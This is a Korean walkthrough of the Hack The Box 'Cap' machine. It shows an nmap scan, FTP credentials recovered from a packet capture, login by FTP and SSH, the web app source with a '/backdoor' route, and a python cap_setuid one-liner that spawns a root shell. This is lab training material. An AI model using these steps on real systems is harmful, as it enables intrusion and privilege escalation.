nmap 명령어를 사용하여 포트 스캐닝을 진행한다.
sudo apt-get update
sudo apt-get install -y nmap
문제에서 주어진 IP로 열린 포트를 확인한다.
koharin@koharin-virtual-machine:~$ nmap 10.10.10.245
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-26 23:29 KST
Nmap scan report for 10.10.10.245
Host is up (0.11s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 23.97 seconds
포트 스캐닝 결과, 21번 포트에서 FTP가, 80번 포트에서 HTTP,, 그리고 22번 포트에서 SSH가 서비스되고 있다.
FTP나 SSH에 접속하려면 로그인 정보가 필요한데 아직은 정보가 부족하므로 HTTP로 접속해보자.
주어진 10.10.10.245 아이피로 접속해보면 여러 메뉴가 있는데, 그 중에서 다음의 페이지에서 패킷 캡처를 진행한 정보를 확인할 수 있다.
10.10.10.245/data/7가 처음 들어가지는 페이지인데 거기에서는 잡힌 패킷 정보가 없음을 알 수 있었고, Download를 통해 받은 6.pcap 파일도 아무 정보가 존재하지 않는다.
/data/ + 숫자 경로가 또 존재할 것이라고 생각하고 /data/0 경로로 들어가보니 다음 페이지를 확인할 수 있었다.
Download 버튼으로 0.pcap 파일을 받을 수 있었다.
0.pcap 파일을 WireShark 툴로 열어보았다.
FTP에 로그인하여 접속하고 로그아웃한 정보를 확인할 수 있다.
위의 이미지에서 볼 수 있듯이 nathan
사용자가 Buck3tH4TF0RM3!
패스워드로 FTP에 로그인한 것을 확인할 수 있다.
이후 syst
명령어로 UNIX Type: L8을 확인하고, LIST
명령어(정확한 명령어인지는 알 수 없지만 ls와 같이 LISTING하는 명령어임을 추측)로 directory listing을 진행한 후, LIST -al
로 ls -al과 같이 숨겨진 파일을 포함한 파일들의 상세 정보를 확인하였다. TYPE I
로 Binary mode로 전환 후, RETR notes.txt
로 파일을 열고자 했는데 Failed to open file로 실패하여 QUIT
으로 로그아웃을 진행했다.
nathan/Buck3tH4TF0RM3!
의 로그인 정보를 알았으니 FTP에 접속해보았다.
윈도우 상에서는 파일 탐색기 내에서 ftp://10.10.10.245:21
로 FTP에 접속할 수 있다.
FTP로 접속 후 user.txt
파일을 확인할 수 있었다.
PC로 해당 파일을 복사하여 열어보면 USER FLAG를 확인할 수 있다.
Linux에서도 ftp 10.10.10.245
로 FTP 접속이 가능하다.
nathan@cap:~$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:nathan): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-------- 1 1001 1001 33 Sep 26 11:39 user.txt
226 Directory send OK.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 4 1001 1001 4096 Sep 26 12:10 .
drwxr-xr-x 3 0 0 4096 May 23 19:17 ..
lrwxrwxrwx 1 0 0 9 May 15 21:40 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Feb 25 2020 .bashrc
drwx------ 2 1001 1001 4096 May 23 19:17 .cache
drwxrwxr-x 3 1001 1001 4096 Sep 26 12:10 .local
-rw-r--r-- 1 1001 1001 807 Feb 25 2020 .profile
lrwxrwxrwx 1 0 0 9 May 27 09:16 .viminfo -> /dev/null
-r-------- 1 1001 1001 33 Sep 26 11:39 user.txt
226 Directory send OK.
0.pcap 파일에서 확인한 메시지와 동일한 것을 알 수 있다.
nathan 사용자 로그인 정보로 SSH에 접속해본다.
koharin@koharin-virtual-machine:~$ ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ECDSA key fingerprint is SHA256:8TaASv/TRhdOSeq3woLxOcKrIOtDhrZJVrrE0WbzjSc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ECDSA) to the list of known hosts.
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Sep 26 12:15:53 UTC 2021
System load: 0.37
Usage of /: 36.6% of 8.73GB
Memory usage: 33%
Swap usage: 0%
Processes: 229
Users logged in: 1
IPv4 address for eth0: 10.10.10.245
IPv6 address for eth0: dead:beef::250:56ff:feb9:93b2
=> There are 3 zombie processes.
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Sep 26 11:54:25 2021 from 10.10.14.87
nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt
디렉터리 상에서 user.txt
를 동일하게 확인할 수 있다.
nathan@cap:~$ cd /var/www/html
nathan@cap:/var/www/html$ ls
__pycache__ app.py static templates upload
#!/usr/bin/python3
import os
from flask import *
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import tempfile
import dpkt
from werkzeug.utils import append_slash_redirect
#test
app = Flask(__name__)
app.config['TEMPLATES_AUTO_RELOAD'] = True
app.secret_key = b'\x81\x02&\x18\\a0ej\x06\xec\x917y*\x04Y\x83e\xebC\xee\xab\xcf\xac;\x8dx\x8bf\xc4\x15'
limiter = Limiter(app, key_func=get_remote_address, default_limits=["99999999999999999 per day", "99999999999999999999 per hour"])
pcapid = 0
lock = False
@app.before_first_request
def get_file_id():
global pcapid
path = os.path.join(app.root_path, "upload")
onlyfiles = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]
ints = []
for x in onlyfiles:
try:
ints.append(int(x.replace(".pcap", "")))
except:
pass
try:
pcapid = max(ints)+1
except:
pcapid = 0
def get_appid():
global pcapid
return pcapid
def increment_appid():
global pcapid
pcapid += 1
def get_lock():
global lock
while lock:
pass
lock = True
def release_lock():
global lock
lock = False
def process_pcap(pcap_path):
reader = dpkt.pcap.Reader(open(pcap_path, "rb"))
counter=0
ipcounter=0
tcpcounter=0
udpcounter=0
for ts, pkt in reader:
counter+=1
eth=dpkt.ethernet.Ethernet(pkt)
try:
ip=dpkt.ip.IP(eth.data)
except:
continue
ipcounter+=1
if ip.p==0:
tcpcounter+=1
if ip.p==dpkt.ip.IP_PROTO_UDP:
udpcounter+=1
data = {}
data['Number of Packets'] = counter
data['Number of IP Packets'] = ipcounter
data['Number of TCP Packets'] = tcpcounter
data['Number of UDP Packets'] = udpcounter
return data
@app.route("/")
def index():
return render_template("index.html")
PCAP_MAGIC_BYTES = [b"\xa1\xb2\xc3\xd4", b"\xd4\xc3\xb2\xa1", b"\x0a\x0d\x0d\x0a"]
@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
#command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
command = f"""python3 -c 'import os; os.setuid(0); os.system("id")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))
@app.route("/ip")
def ifconfig():
d = os.popen("ifconfig").read().strip()
print(d)
return render_template("index.html", rawtext=d)
@app.route("/netstat")
def netstat():
d = os.popen("netstat -aneop").read().strip()
print(d)
return render_template("index.html", rawtext=d)
@app.route("/backdoor")
def backdoor():
command = f"""python3 -c 'import os; os.setuid(0); os.system("id")'"""
os.system(command)
@app.route("/data")
def data():
if "data" not in session:
return redirect("/")
data = session.pop("data")
path = session.pop("path")
return render_template("data.html", data=data, path=path)
@app.route("/data/<id>")
def data_id(id):
try:
id = int(id)
except:
return redirect("/")
try:
data = process_pcap(os.path.join(app.root_path, "upload", str(id) + ".pcap"))
path = str(id) + ".pcap"
return render_template("index.html", data=data, path=path)
except Exception as e:
print(e)
return redirect("/")
@app.route("/download/<id>")
def download(id):
try:
id = int(id)
except:
return redirect("/")
uploads = os.path.join(app.root_path, "upload")
return send_from_directory(uploads, str(id) + ".pcap", as_attachment=True)
if __name__ == "__main__":
app.run("0.0.0.0", 80, debug=True)
웹페이지 정보를 확인하기 위해 /var/www/html
경로로 이동하였고, app.py를 열어봤고, backdoor 함수를 확인해보면,
def backdoor():
command = f"""python3 -c 'import os; os.setuid(0); os.system("id")'"""
os.system(command)
python으로 UID를 0으로 변경 후 id 명령어를 실행한다. UID가 0이라는 것은 root를 의미한다. 따라서 python을 통해 UID를 0으로 변경하고 root 권한으로 원하는 명령어를 수행할 수 있다.
nathan@cap:/var/www/html$ python3 -c 'import os; os.setuid(0); os.system("id")'
uid=0(root) gid=1001(nathan) groups=1001(nathan)
nathan 권한으로 위의 명령어를 사용하면 UID가 0인 root임을 확인할 수 있다.
따라서 os.system(“/bin/sh”)으로 UID가 0인 root 쉘을 실행할 수 있다.
nathan@cap:/var/www/html$ python -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:/var/www/html# cd /
root@cap:/# ls
bin cdrom etc lib lib64 lost+found mnt proc run snap sys usr
boot dev home lib32 libx32 media opt root sbin srv tmp var
root@cap:/# find / -name "*.txt"
/usr/share/gnupg/help.fi.txt
[...]
/home/nathan/user.txt
[...]
/root/root.txt
root@cap:/# cat /root/root.txt
user.txt가 있었기 때문에 system flag 파일도 .txt로 끝날 것이라고 생각하고 find 명령어를 통해 txt 파일을 검색해보았다.
그중에서 /root 경로의 root.txt
파일을 확인할 수 있었다.
nathan@cap:/etc/ssh$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
추가로, python3.8에 cap_setuid라는 capability가 있기 때문에 python을 사용해서 UID를 0으로 변경할 수 있었다.
CAP_SETUID
UID를 변경하는 것을 허용하는 capability이다.
[Hack The Box] Pwnable - You know 0xDiablos (0) | 2022.01.03 |
---|---|
[Hack The Box] Web - Templated (0) | 2021.09.11 |
[Hack The Box] Mobile - Cat (0) | 2021.09.11 |